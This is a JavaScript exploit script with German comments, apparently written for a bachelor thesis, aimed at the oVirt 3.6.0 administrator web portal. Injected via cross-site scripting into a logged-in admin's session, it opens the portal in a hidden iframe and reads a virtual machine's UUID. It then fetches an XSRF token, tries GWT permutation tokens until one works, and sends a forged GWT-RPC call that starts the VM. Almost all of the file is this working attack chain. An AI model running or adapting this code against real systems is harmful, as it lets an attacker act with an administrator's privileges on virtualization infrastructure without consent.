/* Autor: Emanuel Durmaz Web Exploit-Code zur Bachelor Thesis ---------------------- Benötigte JS-Library: https://github.com/peterolson/BigInteger.js Voraussetzungen: - BigInteger.min.js muss vorher in das HTML-Dokument geladen werden bzw. via XSS mit eingeschleust werden - Administrator muss im oVirt Administratorportal eingeloggt sein. - 15-60 Sekunden ausführen lassen. - Die hier verwendeten RPC-Anfragen funktionieren nur für oVirt 3.6.0. Will man dieses Konzept für eine neuere oVirt Version ausprobieren, so müssen die RPC-Anfragen ausgetauscht werden. Nachträgliche Änderungen / Verbesserungen: 03.04.16: - RPC-Anfrage in sendRpcCommand() korrigiert (UUID) und umgebrochen (Darstellung) - getGWTPermutation() korrigiert (i++ zum Schluss) - mehr Kommentare - host-Variable hinzugefügt */ //Domain oder IP des Webinterfaces host = '192.168.2.185'; document.body.innerHTML = '
' +'
'; //lege Reihe der gewünschten VM fest //siehe VM-Übersichtstabelle im Adminportal. row = 1; //Aktionen auf der VM 2.Reihe //DOM-Zugriff zum iFrame hiddenFrame = document.getElementById('hiddenFrame'); doc = hiddenFrame.contentDocument? hiddenFrame.contentDocument: hiddenFrame.contentWindow.document; //es wird zuerst die UUID im Voraus ermittelt waitForElements_start('MainTabVirtualMachineView_table_content_col2_row'+row, 4000); function waitForElements_start(selector, time) {//Warte bis Element geladen wurde if(doc.getElementById(selector)!=null) { console.log("loaded"); doc.getElementById(selector).click(); //klicke auf VM, sodass Detailübersicht geladen wird waitForDetailsTab('SubTabVirtualMachineGeneralView_form_col2_row4_value', 4000); return; } else { setTimeout(function() { console.log("still loading ..."+selector); waitForElements_start(selector, time); //aktualisiere DOM-Variable doc = hiddenFrame.contentDocument? hiddenFrame.contentDocument: hiddenFrame.contentWindow.document; }, time); } } function waitForDetailsTab(selector, time) {// warte bis Detailübersicht geladen wird if(doc.getElementById(selector)!=null) { console.log("loaded"); var uuid = doc.getElementById('SubTabVirtualMachineGeneralView_form_col2_row4_value').value; console.log(uuid); document.body.innerHTML = ''; main(uuid); //Starte nun Hauptfunktion return; } else { setTimeout(function() { waitForDetailsTab(selector, time); console.log("still loading ..."+selector); doc.getElementById('MainTabVirtualMachineView_table_content_col2_row'+row).click(); }, time); // Es wird "sicherheitshalber" öfter geklickt } } function main(uuid) { var xsrfToken = getXsrfToken(); console.log(xsrfToken); var gwtPermutation = getGWTPermutation(xsrfToken); console.log(gwtPermutation); uuidDecArray = uuidTransform(uuid); //Transformiere UUID (beschrieben im 4. Schritt) console.log(uuidDecArray); //führe Befehl via RPC-Anfrage aus. sendRpcCommand(xsrfToken, gwtPermutation, uuidDecArray); return; } function getXsrfToken() { var xhr = new XMLHttpRequest(); xhr.open('POST','/ovirt-engine/webadmin/xsrf',false); xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/'); xhr.setRequestHeader('X-GWT-Permutation',''); //Mit leerem Wert xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8'); //via GWT-RPC-Anfrage XSRF-Token anfragen var postData = '7|0|4|https://' + host + '/ovirt-engine/webadmin/|CCA65B31464BDB27545C23C142FEEEF8|' +'com.google.gwt.user.client.rpc.XsrfTokenService|getNewXsrfToken|1|2|3|4|0|'; xhr.send(postData); var httpBodyResponse = xhr.responseText; //extrahiere XSRF Token aus RPC Antwort var tmp = httpBodyResponse.substring(0,httpBodyResponse.length-7); var startOfToken = tmp.lastIndexOf('\"'); var xsrfToken = tmp.substring(startOfToken+1,httpBodyResponse.length-7); return xsrfToken; } function getGWTPermutation(xsrfToken) { var xhr = new XMLHttpRequest(); //.nocache.js enthält alle möglichen GWT-Permutationen xhr.open('GET','/ovirt-engine/webadmin/webadmin.nocache.js',false); xhr.send(); var httpBodyResponse = xhr.responseText; //liste alle vorhandenen GWT-Permutation Token auf var listGWTPermutations = httpBodyResponse.match(/[A-Z0-9]{30,35}/g); //beliebige RPC-Anfrage zum Testen. var postData= 'R7~"61~org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWTService~"14~runPublicQuery~D2~"3~uUj~"3' +'~U3g~Eorg.ovirt.engine.core.common.queries.VdcQueryType~I206~Lorg.ovirt.engine.core.common.queries.' +'VdcQueryParametersBase~I4~"1~n~V~"1~o~Z0~"1~p~Z1~"1~q~V~'; var notfound = 1; var i=0; while(notfound && (i < listGWTPermutations.length)) {//alle ausprobieren, bis man eine valide GWTPermutation findet xhr.open('POST','/ovirt-engine/webadmin/GenericApiGWTService',false); xhr.setRequestHeader('OVIRT-XSRF-Token',xsrfToken); xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/'); xhr.setRequestHeader('X-GWT-Permutation',listGWTPermutations[i]); xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8'); xhr.send(postData); if(xhr.status != 500) { //wenn eine RPC-Anfrage beantwortet wird, dann... notfound = 0; //gefundenen GWT Permutation speichern bzw. zurückgeben var gwtPermutation = listGWTPermutations[i]; return gwtPermutation; } i++; } } function sendRpcCommand(xsrfToken, gwtPermutation, uuidArray) { var xhr = new XMLHttpRequest(); //diese RPC-Anfrage startet VM mit der entsprechenden UUID var postData= 'R11~"61~org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWTService~"18~runMultipleActions~' +'D4~"3~Xfh~"3~X3e~"2~ Z~@4~Eorg.ovirt.engine.core.common.action.VdcActionType~I12~!java.util.ArrayList~' +'I2~D1~Lorg.ovirt.engine.core.common.action.RunVmParams~I42~"1~n~Z1~"1~o~Z0~"1~p~V~"1~q~V~"1~r~V~"1~s~' +'D0~"1~t~V~"1~u~V~"1~v~V~"1~w~V~"1~A~V~"1~B~V~"1~C~V~"1~D~Z1~"1~F~V~"1~G~V~"1~H~V~"1~I~V~"1~J~V~"1~K~' +'V~"1~L~V~"1~M~V~"1~N~Lorg.ovirt.engine.core.compat.Guid~I1~"1~b~!java.util.UUID~I2' +'~J'+ uuidArray[1] +'~J'+ uuidArray[0] +'~I0~"1~O~V~"1~P~Eorg.ovirt.engine.core.common.action.VdcActionType~' +'I0~"1~Q~Z0~"1~R~V~"1~S~V~"1~T~D0~"1~U~!java.util.ArrayList~I1~D0~I0~"1~V~V~"1~W~V~"1~X~Z0~"1~Y~V~"1~Z~' +'Eorg.ovirt.engine.core.common.action.VdcActionType~I0~"1~_~Z1~"2~ab~Z1~"2~bb~V~"2~cb~Z1~"2~db~' +'Eorg.ovirt.engine.core.compat.TransactionScopeOption~I2~"2~eb~V~"2~fb~V~I0~Z0~Z0~'; xhr.open('POST','/ovirt-engine/webadmin/GenericApiGWTService',false); xhr.setRequestHeader('OVIRT-XSRF-Token',xsrfToken); xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/'); xhr.setRequestHeader('X-GWT-Permutation',gwtPermutation); xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8'); xhr.send(postData); return; } function uuidTransform(uuid) { //Bindestriche der UUID entfernen uuid = uuid.replace(/-/g,''); //UUID besteht aus 32 Zeichen bzw. 16 Bytes (Hex) bzw. 128Bit //UUID in höherwertige und niederwertige Hälften aufteilen //je Hälfte nimmt 8 Byte bzw. 64Bit ein msbHexUuid = uuid.substring(0, uuid.length/2); lsbHexUuid = uuid.substring((uuid.length/2), uuid.length); //wir haben nun zwei signed Hex Integer //wenn MSB=1, liegt Zahl in Zweierkomplement vor //wenn MSB=0, normale positive Zahl msbDecUuid = twoComplement(msbHexUuid); lsbDecUuid = twoComplement(lsbHexUuid); uuidDec = [msbDecUuid,lsbDecUuid]; return uuidDec; } function twoComplement(inpStr) //benötigt BigInteger-Library { inp = bigInt(inpStr,16); mask63 = bigInt('7fffffffffffffff',16); //63Bit diff = inp.subtract(mask63); if(diff.isPositive()) //also ist inp negativ, da MSB=1 { mask64 = bigInt('ffffffffffffffff',16); decimal = inp.xor(mask64).add(1).toString(10); decimal = '-'+decimal; //Minuszeichen return decimal; } else //sonst so lassen, nur ins Dec umwandeln { decimal = inp.toString(10); return decimal; } }